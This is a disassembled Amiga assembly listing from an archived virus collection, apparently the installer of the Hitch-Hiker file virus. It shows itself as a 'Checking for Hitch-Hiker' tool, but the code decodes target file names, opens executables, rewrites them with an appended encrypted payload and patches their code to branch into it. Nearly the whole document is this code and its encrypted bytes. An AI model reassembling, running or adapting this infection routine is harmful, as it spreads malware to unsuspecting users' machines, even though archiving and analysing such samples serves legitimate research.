home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
h
/
HitchHicker
/
HitchHicker_2.01_inst.asm
< prev
next >
Wrap
Assembly Source File
|
1999-10-05
|
33KB
|
1,338 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $37E
EXT_0002 EQU $325C
EXT_0003 EQU $3CC8
EXT_0004 EQU $50CA
EXT_0005 EQU $1A84517A
EXT_0006 EQU $E4F0CBD6
EXT_0007 EQU $FFFFC2FC
EXT_0008 EQU $FFFFE184
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;000: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;004: 2C780004
CMPI #$0025,20(A6) ;008: 0C6E00250014
BCS.S LAB_0000 ;00E: 656E
CMPI.L #$ABBAFAB4,514(A6) ;010: 0CAEABBAFAB40202 check it
BEQ.S LAB_0000 ;018: 6764
CMPI.L #$BADC0DED,514(A6) ;01A: 0CAEBADC0DED0202 HH already here?
BEQ.S LAB_0000 ;022: 675A yep, quit
MOVEQ #0,D0 ;024: 7000
LEA LAB_002D(PC),A1 ;026: 43FA036E dos lib name ptr
JSR -552(A6) ;02A: 4EAEFDD8 open dos lib
TST.L D0 ;02E: 4A80 open?
BEQ.S LAB_0000 ;030: 674C
LEA LAB_0025(PC),A1 ;032: 43FA0342
MOVE.L D0,(A1) ;036: 2280 store dos ptr
MOVEA.L D0,A6 ;038: 2C40 get in a6
JSR -60(A6) ;03A: 4EAEFFC4 get output
LEA LAB_002C(PC),A1 ;03E: 43FA0352
MOVE.L D0,(A1) ;042: 2280 store output
LEA LAB_002E(PC),A1 ;044: 43FA035C 'Checking for ...'
BSR.S LAB_0001 ;048: 613A Write Checking for... on screen
BSR LAB_0010 ;04A: 6100020A
BSR LAB_001F ;04E: 610002B8
TST.L D0 ;052: 4A80
BEQ.S LAB_0000 ;054: 6728
LEA LAB_002B(PC),A1 ;056: 43FA0336
MOVE.L D0,(A1) ;05A: 2280
LEA LAB_0022(PC),A1 ;05C: 43FA0300
BSR.S LAB_0003 ;060: 613A
LEA LAB_0023(PC),A1 ;062: 43FA0304
BSR.S LAB_0003 ;066: 6134
LEA LAB_0024(PC),A1 ;068: 43FA0306
BSR.S LAB_0003 ;06C: 612E
BSR LAB_0020 ;06E: 610002B2
LEA LAB_002F+3(PC),A1 ;072: 43FA0357
BSR.S LAB_0001 ;076: 610C
LEA LAB_0031(PC),A1 ;078: 43FA0358
BSR.S LAB_0001 ;07C: 6106
LAB_0000:
MOVEM.L (A7)+,D0-D7/A0-A6 ;07E: 4CDF7FFF
RTS ;082: 4E75
LAB_0001:
CLR.L D3 ;084: 4283
MOVE.B (A1),D3 ;086: 1611 copy ( to D3
MOVE.L A1,D2 ;088: 2409
ADDQ #1,D2 ;08A: 5242 behind ( ('Checking...')
MOVE.L LAB_002C(PC),D1 ;08C: 223A0304
JSR -48(A6) ;090: 4EAEFFD0 Write to screen
RTS ;094: 4E75
LAB_0002:
JSR -48(A6) ;096: 4EAEFFD0 Write
RTS ;09A: 4E75
LAB_0003:
MOVEA.L LAB_0025(PC),A6 ;09C: 2C7A02D8
MOVE.L A1,D1 ;0A0: 2209
LEA LAB_0026(PC),A1 ;0A2: 43FA02D6
MOVE.L D1,(A1) ;0A6: 2281
MOVEQ #-2,D2 ;0A8: 74FE
JSR -84(A6) ;0AA: 4EAEFFAC
TST.L D0 ;0AE: 4A80
BEQ LAB_0008 ;0B0: 6700012E
MOVE.L D0,D1 ;0B4: 2200
LEA LAB_0027(PC),A1 ;0B6: 43FA02C6
MOVE.L D1,(A1) ;0BA: 2281
MOVE.L LAB_002B(PC),D2 ;0BC: 243A02D0
JSR -114(A6) ;0C0: 4EAEFF8E
TST.L D0 ;0C4: 4A80
BEQ LAB_0008 ;0C6: 67000118
MOVEA.L LAB_002B(PC),A1 ;0CA: 227A02C2
CMPI.L #$00000052,8(A1) ;0CE: 0CA9000000520008
BNE LAB_0008 ;0D6: 66000108
MOVE.L 12(A1),D0 ;0DA: 2029000C
SUB.L 16(A1),D0 ;0DE: 90A90010
CMP.L #$0000000A,D0 ;0E2: B0BC0000000A
BCS LAB_0008 ;0E8: 650000F6
MOVE.L 12(A1),-(A7) ;0EC: 2F29000C
MOVE.L LAB_0027(PC),D1 ;0F0: 223A028C
MOVE.L A1,D2 ;0F4: 2409
JSR -102(A6) ;0F6: 4EAEFF9A
MOVEA.L LAB_002B(PC),A1 ;0FA: 227A0292
MOVE.L (A7)+,D1 ;0FE: 221F
CMP.L #$00001F40,D1 ;100: B2BC00001F40
BCC.S LAB_0004 ;106: 640E
CMPI.L #$00008000,124(A1) ;108: 0CA900008000007C
BCC LAB_0008 ;110: 640000CE
BRA.S LAB_0005 ;114: 600C
LAB_0004:
CMPI.L #$00020000,124(A1) ;116: 0CA900020000007C
BCC LAB_0008 ;11E: 640000C0
LAB_0005:
LEA LAB_0028(PC),A2 ;122: 45FA025E
MOVE.L 124(A1),(A2) ;126: 24A9007C
MOVE.L LAB_0027(PC),D1 ;12A: 223A0252
JSR -90(A6) ;12E: 4EAEFFA6
MOVE.L LAB_0026(PC),D1 ;132: 223A0246
CLR.L D2 ;136: 4282
JSR -186(A6) ;138: 4EAEFF46
MOVEA.L (ABSEXECBASE).W,A6 ;13C: 2C780004
MOVEQ #1,D1 ;140: 7201
MOVE.L LAB_0028(PC),D0 ;142: 203A023E
MOVE.L LAB_0029(PC),D2 ;146: 243A023E
ADD.L D2,D0 ;14A: D082
JSR -198(A6) ;14C: 4EAEFF3A
TST.L D0 ;150: 4A80
BEQ LAB_0008 ;152: 6700008C
LEA LAB_002A(PC),A1 ;156: 43FA0232
MOVE.L D0,(A1) ;15A: 2280
MOVE.L #$000003EC,D2 ;15C: 243C000003EC
MOVE.L LAB_0026(PC),D1 ;162: 223A0216
MOVEA.L LAB_0025(PC),A6 ;166: 2C7A020E
JSR -30(A6) ;16A: 4EAEFFE2
TST.L D0 ;16E: 4A80
BEQ.S LAB_0007 ;170: 675E
LEA LAB_0027(PC),A1 ;172: 43FA020A
MOVE.L D0,(A1) ;176: 2280
MOVE.L D0,D1 ;178: 2200
MOVE.L LAB_002A(PC),D2 ;17A: 243A020E
MOVE.L LAB_0029(PC),D4 ;17E: 283A0206
ADD.L D4,D2 ;182: D484
MOVE.L LAB_0028(PC),D3 ;184: 263A01FC
JSR -42(A6) ;188: 4EAEFFD6
MOVE.L LAB_0027(PC),D1 ;18C: 223A01F0
MOVEQ #0,D2 ;190: 7400
MOVEQ #-1,D3 ;192: 76FF
JSR -66(A6) ;194: 4EAEFFBE
BSR.S LAB_000A ;198: 6152
BNE.S LAB_0006 ;19A: 6616
MOVE.L LAB_0027(PC),D1 ;19C: 223A01E0
MOVE.L LAB_002A(PC),D2 ;1A0: 243A01E8
MOVE.L LAB_0028(PC),D3 ;1A4: 263A01DC
MOVE.L LAB_0029(PC),D4 ;1A8: 283A01DC
ADD.L D4,D3 ;1AC: D684
BSR LAB_0002 ;1AE: 6100FEE6
LAB_0006:
MOVE.L LAB_0027(PC),D1 ;1B2: 223A01CA
JSR -36(A6) ;1B6: 4EAEFFDC
BSR.S LAB_0009 ;1BA: 6126
MOVE.L 116(A1),D2 ;1BC: 24290074
JSR -186(A6) ;1C0: 4EAEFF46
BSR.S LAB_0009 ;1C4: 611C
LEA 132(A1),A1 ;1C6: 43E90084
MOVE.L A1,D2 ;1CA: 2409
JSR -396(A6) ;1CC: 4EAEFE74
LAB_0007:
MOVEA.L (ABSEXECBASE).W,A6 ;1D0: 2C780004
MOVE.L LAB_0028(PC),D0 ;1D4: 203A01AC
MOVEA.L LAB_002A(PC),A1 ;1D8: 227A01B0
JSR -210(A6) ;1DC: 4EAEFF2E
LAB_0008:
RTS ;1E0: 4E75
LAB_0009:
MOVEA.L LAB_002B(PC),A1 ;1E2: 227A01AA
MOVE.L LAB_0026(PC),D1 ;1E6: 223A0192
RTS ;1EA: 4E75
LAB_000A:
MOVEA.L LAB_002A(PC),A1 ;1EC: 227A019C
MOVEA.L A1,A2 ;1F0: 2449
MOVE.L LAB_0029(PC),D1 ;1F2: 223A0192
ADDA.L D1,A2 ;1F6: D5C1
MOVE.L 8(A2),D1 ;1F8: 222A0008
ADDQ.L #1,D1 ;1FC: 5281
MOVEQ #4,D2 ;1FE: 7404
LAB_000B:
MOVE.L (A2)+,(A1)+ ;200: 22DA
DBF D2,LAB_000B ;202: 51CAFFFC
LAB_000C:
MOVE.L (A2)+,(A1)+ ;206: 22DA
DBF D1,LAB_000C ;208: 51C9FFFC
CMPI.L #$000003E9,-8(A1) ;20C: 0CA9000003E9FFF8
BEQ.S LAB_000D ;214: 6704
MOVEQ #-1,D0 ;216: 70FF
RTS ;218: 4E75
LAB_000D:
MOVE.L -4(A1),D1 ;21A: 2229FFFC
MOVE.L A1,D6 ;21E: 2C09
MOVE.L D1,D3 ;220: 2601
SUBQ.L #1,D1 ;222: 5381
LAB_000E:
MOVE.L (A2)+,(A1)+ ;224: 22DA
DBF D1,LAB_000E ;226: 51C9FFFC
MOVE.L LAB_0029(PC),D1 ;22A: 223A015A
LSR #2,D1 ;22E: E449
MOVE.L D1,D2 ;230: 2401
SUBQ.L #1,D1 ;232: 5381
LEA LAB_0036(PC),A3 ;234: 47FA0206
MOVE.L A1,D4 ;238: 2809
LAB_000F:
MOVE.L (A3)+,(A1)+ ;23A: 22DB
DBF D1,LAB_000F ;23C: 51C9FFFC
MOVEA.L D6,A1 ;240: 2246
MOVEA.L LAB_002A(PC),A2 ;242: 247A0146
LEA 20(A2),A2 ;246: 45EA0014
BSR LAB_001B ;24A: 61000096
MOVEA.L A1,A4 ;24E: 2849
MOVE.L D4,D7 ;250: 2E04
ASL.L #1,D3 ;252: E383
BRA.S LAB_0012 ;254: 6012
LAB_0010:
LEA LAB_0021(PC),A1 ;256: 43FA00E6 data
MOVE #$0037,D0 ;25A: 303C0037
LAB_0011:
EORI.B #$84,(A1)+ ;25E: 0A190084 decode 55 bytes
DBF D0,LAB_0011 ;262: 51C8FFFA
RTS ;266: 4E75
LAB_0012:
MOVEQ #-2,D0 ;268: 70FE
LAB_0013:
CMPI.L #$2C780004,(A4) ;26A: 0C942C780004
BEQ.S LAB_0016 ;270: 672E
CMPI.L #$2C790000,(A4) ;272: 0C942C790000
BEQ.S LAB_0018 ;278: 6738
CMPI #$4E75,(A4) ;27A: 0C544E75
BEQ.S LAB_0015 ;27E: 670A
LAB_0014:
ADDQ.L #2,A4 ;280: 548C
DBF D3,LAB_0013 ;282: 51CBFFE6
TST.L D0 ;286: 4A80
RTS ;288: 4E75
LAB_0015:
BSR.S LAB_0019 ;28A: 6142
CMP.L #$0000006F,D5 ;28C: BABC0000006F
BCC.S LAB_0014 ;292: 64EC
ADDI #$0010,D5 ;294: 06450010
MOVE.B #$60,(A4)+ ;298: 18FC0060
MOVE.B D5,(A4)+ ;29C: 18C5
BRA.S LAB_0017 ;29E: 600C
LAB_0016:
BSR.S LAB_0019 ;2A0: 612C
CMP.L #$00007FFF,D5 ;2A2: BABC00007FFF
BCC.S LAB_0014 ;2A8: 64D6
BSR.S LAB_001A ;2AA: 612E
LAB_0017:
CLR.L D0 ;2AC: 4280
SUBQ.L #1,D3 ;2AE: 5383
BRA.S LAB_0014 ;2B0: 60CE
LAB_0018:
CMPI #$0004,4(A4) ;2B2: 0C6C00040004
BNE.S LAB_0014 ;2B8: 66C6
BSR.S LAB_0019 ;2BA: 6112
CMP.L #$00007FFF,D5 ;2BC: BABC00007FFF
BCC.S LAB_0014 ;2C2: 64BC
BSR.S LAB_001A ;2C4: 6114
MOVE #$4E71,2(A4) ;2C6: 397C4E710002
BRA.S LAB_0017 ;2CC: 60DE
LAB_0019:
LEA 2(A4),A3 ;2CE: 47EC0002
MOVE.L A3,D6 ;2D2: 2C0B
MOVE.L D7,D5 ;2D4: 2A07
SUB.L D6,D5 ;2D6: 9A86
RTS ;2D8: 4E75
LAB_001A:
MOVE #$6100,(A4)+ ;2DA: 38FC6100
MOVE D5,(A4) ;2DE: 3885
RTS ;2E0: 4E75
LAB_001B:
MOVE.L LAB_0029(PC),D7 ;2E2: 2E3A00A2
LSR.L #2,D7 ;2E6: E48F
MOVE.L -4(A1),D5 ;2E8: 2A29FFFC
LAB_001C:
MOVE.L (A2)+,D6 ;2EC: 2C1A
CMPA.L A1,A2 ;2EE: B5C9
BEQ.S LAB_001E ;2F0: 6710
ANDI.L #$1FFFFFFF,D6 ;2F2: 02861FFFFFFF
CMP.L D5,D6 ;2F8: BC85
BEQ.S LAB_001D ;2FA: 6702
BRA.S LAB_001C ;2FC: 60EE
LAB_001D:
ADD.L D7,-4(A2) ;2FE: DFAAFFFC
LAB_001E:
ADD.L D7,-4(A1) ;302: DFA9FFFC
RTS ;306: 4E75
LAB_001F:
MOVEM.L D1/A6,-(A7) ;308: 48E74002
MOVEA.L (ABSEXECBASE).W,A6 ;30C: 2C780004
MOVE.L #$0000012C,D0 ;310: 203C0000012C
MOVEQ #1,D1 ;316: 7201
JSR -198(A6) ;318: 4EAEFF3A AllocMem
MOVEM.L (A7)+,D1/A6 ;31C: 4CDF4002
RTS ;320: 4E75
LAB_0020:
MOVEM.L D0/A1/A6,-(A7) ;322: 48E78042
MOVEA.L (ABSEXECBASE).W,A6 ;326: 2C780004
MOVE.L #$0000012C,D0 ;32A: 203C0000012C
MOVEA.L LAB_002B(PC),A1 ;330: 227A005C
JSR -210(A6) ;334: 4EAEFF2E FreeMem
MOVEM.L (A7)+,D0/A1/A6 ;338: 4CDF4201
RTS ;33C: 4E75
LAB_0021:
MULS -2064(A2),D6 ;33E: CDEAF7F0
DC.W $E5E8 ;342
DC.W $E8E1 ;344
DC.W $F6A4 ;346
DC.W $F2B5 ;348
DC.W $AAB4 ;34A
DC.W $A4E6 ;34C
DC.W $FDA4 ;34E
ADDA.L -4624(A2),A0 ;350: D1EAEDF0
ASL -(A0) ;354: E1E0
DC.W $A4C2 ;356
DC.W $EBF6 ;358
ROL -(A1) ;35A: E7E1
ADDX.L D4,D3 ;35C: D784
LAB_0022:
ROL.L D3,D6 ;35E: E7BE
DC.W $E8EB ;360
ROXL -(A0) ;362: E5E0
DC.W $F3E6 ;364
OR.L D4,D2 ;366: 8484
LAB_0023:
ROL.L D3,D6 ;368: E7BE
DC.W $E8ED ;36A
DC.W $F7F0 ;36C
OR.L D4,D2 ;36E: 8484
LAB_0024:
ROL.L D3,D6 ;370: E7BE
ASR -2428(A5) ;372: E0EDF684
LAB_0025:
ORI.B #$00,D0 ;376: 00000000
LAB_0026:
ORI.B #$00,D0 ;37A: 00000000
LAB_0027:
ORI.B #$00,D0 ;37E: 00000000
LAB_0028:
ORI.B #$00,D0 ;382: 00000000
LAB_0029:
DC.W $0000 ;386
BCHG D3,(A0)+ ;388: 0758
LAB_002A:
ORI.B #$00,D0 ;38A: 00000000
LAB_002B:
ORI.B #$00,D0 ;38E: 00000000
LAB_002C:
ORI.B #$00,D0 ;392: 00000000
LAB_002D:
DC.W $646F ;396
DC.W $732E ;398
DC.W $6C69 ;39A
BHI.S LAB_0032 ;39C: 6272
BSR.S LAB_0032+2 ;39E: 6172
DC.W $7900 ;3A0
LAB_002E:
MOVEA.L D3,A4 ;3A2: 2843
DC.W $6865 ;3A4
DC.W $636B ;3A6
BVS.S LAB_0034+2 ;3A8: 696E
BEQ.S LAB_0030 ;3AA: 6720
DC.W $666F ;3AC
MOVEQ #32,D1 ;3AE: 7220
PEA 29795(A1) ;3B0: 48697463
DC.W $682D ;3B4
PEA 27493(A1) ;3B6: 48696B65
MOVEQ #32,D1 ;3BA: 7220
MOVE 12592(A6),-(A0) ;3BC: 312E3130
DC.W $2F32 ;3C0
DC.W $2E30 ;3C2
MOVE 11822(A6),-(A0) ;3C4: 312E2E2E
LAB_002F:
MOVE.L 2566(A6),D7 ;3C8: 2E2E0A06
LAB_0030:
DC.W $446F ;3CC
DC.W $6E65 ;3CE
MOVE.L A2,-(A0) ;3D0: 210A
LAB_0031:
BCHG D7,D6 ;3D2: 0F46
DC.W $6F75 ;3D4
BGT.S LAB_0036 ;3D6: 6E64
MOVEA.L A6,A0 ;3D8: 204E
BLE.S LAB_0039 ;3DA: 6F74
DC.W $6869 ;3DC
DC.W $6E67 ;3DE
MOVE.L A2,D7 ;3E0: 2E0A
MOVEA.L D6,A6 ;3E2: 2C46
DC.W $6F75 ;3E4
BGT.S LAB_0038 ;3E6: 6E64
MOVEA.L A0,A0 ;3E8: 2048
BVS.S LAB_003C ;3EA: 6974
BLS.S LAB_003A ;3EC: 6368
DC.W $2D48 ;3EE
DC.W $696B ;3F0
BCS.S LAB_003D ;3F2: 6572
MOVEA.L 28192(A1),A0 ;3F4: 20696E20
DC.W $6D65 ;3F8
DC.W $6D6F ;3FA
MOVEQ #121,D1 ;3FC: 7279
MOVEA.L -(A1),A0 ;3FE: 2061
BGT.S LAB_003D ;400: 6E64
DC.W $2072 ;402
DC.W $656D ;404
BLE.S LAB_0041 ;406: 6F76
BCS.S LAB_003F ;408: 6564
DC.W $2069 ;40A
MOVEQ #33,D2 ;40C: 7421
DC.W $0A2C ;40E
LAB_0032:
NOT 30062(A7) ;410: 466F756E
BCC.S LAB_0035 ;414: 6420
LAB_0034:
PEA 29795(A1) ;416: 48697463
DC.W $682D ;41A
PEA 27493(A1) ;41C: 48696B65
MOVEQ #32,D1 ;420: 7220
BLE.S LAB_0043 ;422: 6F6E
DC.W $2076 ;424
BLE.S LAB_0044 ;426: 6F6C
DC.W $756D ;428
BCS.S LAB_0038 ;42A: 6520
BSR.S LAB_0045 ;42C: 616E
BCC.S LAB_0039 ;42E: 6420
MOVEQ #101,D1 ;430: 7265
DC.W $6D6F ;432
MOVEQ #101,D3 ;434: 7665
LAB_0035:
BCC.S LAB_003A+2 ;436: 6420
BVS.S LAB_0048 ;438: 6974
MOVE.L A2,-(A0) ;43A: 210A
LAB_0036:
MOVE.L (ABSEXECBASE).W,-(A7) ;43C: 2F380004
MOVEA.L (A7)+,A6 ;440: 2C5F
LAB_0037:
CMPI #$0025,20(A6) ;442: 0C6E00250014
BCC.S LAB_0038 ;448: 6402
RTS ;44A: 4E75
LAB_0038:
MOVEM.L D0-D7/A0-A6,-(A7) ;44C: 48E7FFFE
LAB_0039:
MOVEA.L (ABSEXECBASE).W,A1 ;450: 22780004
MOVEA.L A1,A6 ;454: 2C49
LAB_003A:
CMPI #$0025,20(A6) ;456: 0C6E00250014
BCS.S LAB_0040 ;45C: 651A
MOVEQ #105,D0 ;45E: 7069
LAB_003C:
MOVE #$06F1,D1 ;460: 323C06F1
MOVEQ #1,D2 ;464: 7401
LAB_003D:
LEA LAB_0041(PC),A1 ;466: 43FA0016
LAB_003E:
EOR.B D0,(A1)+ ;46A: B119
SUB.B D2,D0 ;46C: 9002
LAB_003F:
DBF D1,LAB_003E ;46E: 51C9FFFA
JSR -636(A6) ;472: 4EAEFD84
BRA.S LAB_0041 ;476: 6006
LAB_0040:
MOVEM.L (A7)+,D0-D7/A0-A6 ;478: 4CDF7FFF
RTS ;47C: 4E75
LAB_0041:
BCS.S LAB_0037+4 ;47E: 65C6
MULU (A4)+,D6 ;480: CCDC
SUBA.L (A0),A7 ;482: 9FD0
BSR.S LAB_0049 ;484: 6160
ADDI #$53F0,(A2)+ ;486: 065A53F0
ASL.L #3,D0 ;48A: E780
DC.W $56B7 ;48C
LAB_0042:
SUBQ #5,(A2)+ ;48E: 5B5A
MOVEA -(A6),A0 ;490: 3066
LAB_0043:
DC.W $7568 ;492
LAB_0044:
SUBQ #1,(A2) ;494: 5352
DC.W $42D8 ;496
MOVE A4,994(A6) ;498: 3D4C03E2
LAB_0045:
DC.W $B470 ;49C
MOVEP.L D1,8294(A0) ;49E: 03C82066
LAB_0046:
BSR.S LAB_0047+4 ;4A2: 6104
LAB_0047:
ORI.L #$BED60D02,(EXT_0003).W ;4A4: 00B8BED60D023CC8
DC.W $1FE3 ;4AC
LAB_0048:
DC.W $68F1 ;4AE
DC.W $C8CA ;4B0
MOVE.B -56(A4,D7.W),12564(A2) ;4B2: 157470C83114
BPL.S LAB_0042 ;4B8: 6AD4
ADD.L -18208(A6),D1 ;4BA: D2AEB8E0
DC.W $FAE0 ;4BE
DC.W $69B7 ;4C0
BNE.S LAB_0046 ;4C2: 66DE
ADD.L (EXT_0002).W,D6 ;4C4: DCB8325C
MOVE.B (A6)+,-(A7) ;4C8: 1F1E
MOVE.B (A5)+,-(A6) ;4CA: 1D1D
MOVEA.L -(A6),A4 ;4CC: 2866
MOVE.B (A0)+,-(A4) ;4CE: 1918
MOVE.B (A2),-(A3) ;4D0: 1712
DC.W $0668 ;4D2
MOVE.B (A2),-(A1) ;4D4: 1312
MOVE.B (A7),-(A0) ;4D6: 1117
BLE.S LAB_003E ;4D8: 6F90
DC.W $44F6 ;4DA
MOVEP D6,19348(A2) ;4DC: 0D8A4B94
DC.W $4552 ;4E0
DC.W $40FE ;4E2
BTST D2,(A4)+ ;4E4: 051C
LAB_0049:
BRA.S LAB_004A ;4E6: 6028
DC.W $9EFE ;4E8
DC.W $F872 ;4EA
DC.W $9AF8 ;4EC
CMPM.L (A5)+,(A3)+ ;4EE: B78D
DC.W $B40C ;4F0
DC.W $F012 ;4F2
ADDX.L -(A2),-(A7) ;4F4: DF8A
DC.W $F1F4 ;4F6
DC.W $CF80 ;4F8
ROXR.L #6,D6 ;4FA: EC96
DC.W $A544 ;4FC
MOVE.B D4,-(A3) ;4FE: 1704
DC.W $AD66 ;500
DIVU -24552(A6),D1 ;502: 82EEA018
ROL (A2) ;506: E7D2
DC.W $FD5E ;508
DC.W $FF9C ;50A
CMPA D4,A5 ;50C: BAC4
DC.W $97AD ;50E
LAB_004A:
DC.W $A7D1 ;510
ADDA.L -(A6),A4 ;512: D9E6
ADDA.L -9776(A3),A1 ;514: D3EBD9D0
DC.W $A8C8 ;518
DC.W $9FFE ;51A
DC.W $C3CA ;51C
DC.W $87BD ;51E
DC.W $D27A ;520
DC.W $C5F4 ;522
MULS D2,D5 ;524: CBC2
DC.W $9008 ;526
NEGX (A4) ;528: 4054
DC.W $F3C9 ;52A
CMPA.L (A3),A3 ;52C: B7D3
DC.W $F741 ;52E
DC.W $48DC ;530
ADD.L D1,-(A4) ;532: D3A4
DC.W $F448 ;534
CMP D2,D1 ;536: B242
ROXR #5,D4 ;538: EA54
DC.W $ABAE ;53A
SBCD D3,D7 ;53C: 8F03
SNE D4 ;53E: 56C4
DIVU 23240(A5),D2 ;540: 84ED5AC8
DC.W $AFCB ;544
ROL #7,D1 ;546: EF59
BRA.S LAB_004C ;548: 604E
DC.W $FB8C ;54A
ADD -(A0),D6 ;54C: DC60
DC.W $9A70 ;54E
ADD -28550(A4),D1 ;550: D26C907A
DC.W $B73B ;554
BGT.S LAB_004D ;556: 6E42
DC.W $ACC5 ;558
MOVEQ #94,D1 ;55A: 725E
LAB_004B:
ASR.L #5,D0 ;55C: EA80
DC.W $A4F4 ;55E
DC.W $3D5A ;560
OR -32384(A1),D4 ;562: 88698180
DC.W $CFF5 ;566
DC.W $3DFE ;568
DC.W $5D35 ;56A
DC.W $4B52 ;56C
DC.W $7968 ;56E
DC.W $953E ;570
DC.W $0774 ;572
DC.W $1370 ;574
DC.W $A310 ;576
MOVE -(A6),(A7) ;578: 3EA6
SUB.L (A0),D1 ;57A: 9290
ADDQ.B #4,26996(A3) ;57C: 582B6974
MOVE.L (A3),-(A4) ;580: 2913
DC.W $491E ;582
BNE.S LAB_004B ;584: 66D6
MOVE.L (A2)+,(A1) ;586: 229A
SPL -(A2) ;588: 5AE2
DC.W $7FDD ;58A
DC.W $2FA4 ;58C
DC.W $17F6 ;58E
DC.W $A8FA ;590
DC.W $1FD4 ;592
MOVEA (A2),A2 ;594: 3452
DC.W $507E ;596
LAB_004C:
BLT.S LAB_004E ;598: 6D4E
LAB_004D:
DC.W $0EB6 ;59A
DC.W $4EFE ;59C
DC.W $6BC9 ;59E
BLS.S LAB_004F ;5A0: 637C
MOVE SR,-(A2) ;5A2: 40E2
BSET D6,-16690(A4) ;5A4: 0DECBECE
DC.W $75BE ;5A8
DC.W $5A3C ;5AA
MOVE -(A2),D5 ;5AC: 3A22
MOVE.B D2,12974(A5) ;5AE: 1B4232AE
DC.W $399D ;5B2
DC.W $3332 ;5B4
MOVE -(A2),12070(A0) ;5B6: 31622F26
DC.W $4B2C ;5BA
MOVE.L -(A2),D5 ;5BC: 2A22
BTST D4,D1 ;5BE: 0901
DC.W $272A ;5C0
CMPM.L (A5)+,(A2)+ ;5C2: B58D
DC.W $2332 ;5C4
SUB.L D0,(A4)+ ;5C6: 919C
MOVE.B (A6)+,-(A7) ;5C8: 1F1E
MOVE.B (A6),-(A6) ;5CA: 1D16
MOVEQ #26,D7 ;5CC: 7E1A
DC.W $19EE ;5CE
DC.W $383F ;5D0
MOVE.B (A0)+,-(A2) ;5D2: 1518
MOVE 5226(A0),-(A0) ;5D4: 3128146A
MOVE.L D7,-(A5) ;5D8: 2B07
CHK -(A2),D1 ;5DA: 43A2
DC.W $F490 ;5DC
DC.W $2B72 ;5DE
ANDI #$271B,-20034(A6) ;5E0: 026E271BB1BE
BTST D0,D0 ;5E6: 0100
LAB_004E:
ROR.L D0,D6 ;5E8: E0BE
DC.W $99F2 ;5EA
DC.W $F753 ;5EC
DC.W $F9F8 ;5EE
DC.W $77F6 ;5F0
DC.W $F588 ;5F2
DC.W $97F2 ;5F4
DC.W $F13E ;5F6
DIVS -(A2),D7 ;5F8: 8FE2
ASL #8,D5 ;5FA: E145
DC.W $EBE8 ;5FC
DC.W $E9E8 ;5FE
ROL.L #3,D2 ;600: E79A
DIVS -(A4),D0 ;602: 81E4
ASL.B D1,D2 ;604: E322
DC.W $A41A ;606
ADD.L A6,D5 ;608: DA8E
DC.W $F975 ;60A
ADD.L D5,-(A6) ;60C: DBA6
DC.W $FBE2 ;60E
ADD.L (A6),D1 ;610: D296
DC.W $9B7A ;612
DC.W $2C74 ;614
DC.W $F3EA ;616
MULU -(A2),D5 ;618: CAE2
DC.W $8F4E ;61A
OR D2,-(A4) ;61C: 8564
LAB_004F:
MOVE A6,(A3) ;61E: 368E
ROL.L D5,D6 ;620: EBBE
MULS D0,D2 ;622: C5C0
CMPA.L D3,A0 ;624: B1C3
DC.W $E1FA ;626
CMP.L A6,D5 ;628: BA8E
SUBX.L D6,D4 ;62A: 9986
CMP.L (A2)+,D7 ;62C: BE9A
LAB_0050:
BVS.S LAB_0053 ;62E: 693A
DC.W $F918 ;630
DC.W $4A8E ;632
DC.W $F932 ;634
LAB_0051:
DC.W $D6B0 ;636
DC.W $AF22 ;638
ROXR #7,D6 ;63A: EE56
DC.W $AEB2 ;63C
OR.B D5,-31846(A0) ;63E: 8B28839A
DC.W $A5A4 ;642
DC.W $A04E ;644
OR.L D1,(A2)+ ;646: 839A
SUB D5,-(A2) ;648: 9B62
LAB_0052:
CMPA.L -(A6),A0 ;64A: B1E6
DC.W $9F76 ;64C
ADD.B D3,116(A6,D6.L) ;64E: D7366874
ADD.B D7,(A4) ;652: DF14
DC.W $F4CC ;654
ADD -29834(A2),D1 ;656: D26A8B76
DC.W $AF0C ;65A
DC.W $A98A ;65C
DC.W $ADB2 ;65E
DC.W $8372 ;660
DC.W $ADBE ;662
OR D3,21764(A2) ;664: 876A5504
SUBQ #4,D4 ;668: 5944
LAB_0053:
DC.W $7992 ;66A
DC.W $35D4 ;66C
OR.L 21836(A6),D3 ;66E: 86AE554C
DC.W $71AA ;672
DC.W $0772 ;674
MOVEP D3,8640(A7) ;676: 078F21C0
SUBA (A2),A1 ;67A: 92D2
DC.W $0A38 ;67C
DC.W $0F7E ;67E
DC.W $455C ;680
BSR.S LAB_0050 ;682: 61AA
DC.W $4758 ;684
BCS.S LAB_0051 ;686: 65AE
DC.W $7964 ;688
SUBQ.L #4,(A2) ;68A: 5992
DC.W $7360 ;68C
SLT -(A6) ;68E: 5DE6
DIVS (A2),D0 ;690: 81D2
MOVEA (A4),A2 ;692: 3454
SF (A4)+ ;694: 51DC
DC.W $736A ;696
DC.W $4BF6 ;698
BSET D1,-(A2) ;69A: 03E2
CMP.L (A6),D2 ;69C: B496
DC.W $286E ;69E
DC.W $636F ;6A0
DC.W $4530 ;6A2
BSET D6,-16890(A4) ;6A4: 0DECBE06
ADDQ.B #7,-(A2) ;6A8: 5E22
MOVEQ #-43,D7 ;6AA: 7ED5
DC.W $3BBE ;6AC
DC.W $1D31 ;6AE
DC.W $7998 ;6B0
EXG D5,D0 ;6B2: CB40
DC.W $1F4A ;6B4
DC.W $3134 ;6B6
BTST D7,(A4) ;6B8: 0F14
DC.W $29B2 ;6BA
BCHG D4,(A0) ;6BC: 0950
DC.W $2DBE ;6BE
BVS.S LAB_0052 ;6C0: 6988
DC.W $DA0A ;6C2
DC.W $6D57 ;6C4
BCHG D1,(A2)+ ;6C6: 035A
DC.W $1B9E ;6C8
MOVE -(A6),-(A7) ;6CA: 3F26
MOVE.B -(A2),22381(A7) ;6CC: 1F62576D
DC.W $356C ;6D0
DC.W $1196 ;6D2
MOVE (A3)+,13098(A3) ;6D4: 375B332A
DC.W $0B7A ;6D8
ADDA A5,A4 ;6DA: D8CD
MOVE.L -(A0),-(A4) ;6DC: 2920
BTST D4,D0 ;6DE: 0900
SUBQ.L #2,D7 ;6E0: 5587
DC.W $7100 ;6E2
MOVE.L (A0)+,(EXT_0004).W ;6E4: 21D850CA
DC.W $0002 ;6E8
ADD.B D7,-(A6) ;6EA: DF26
DC.W $AA33 ;6EC
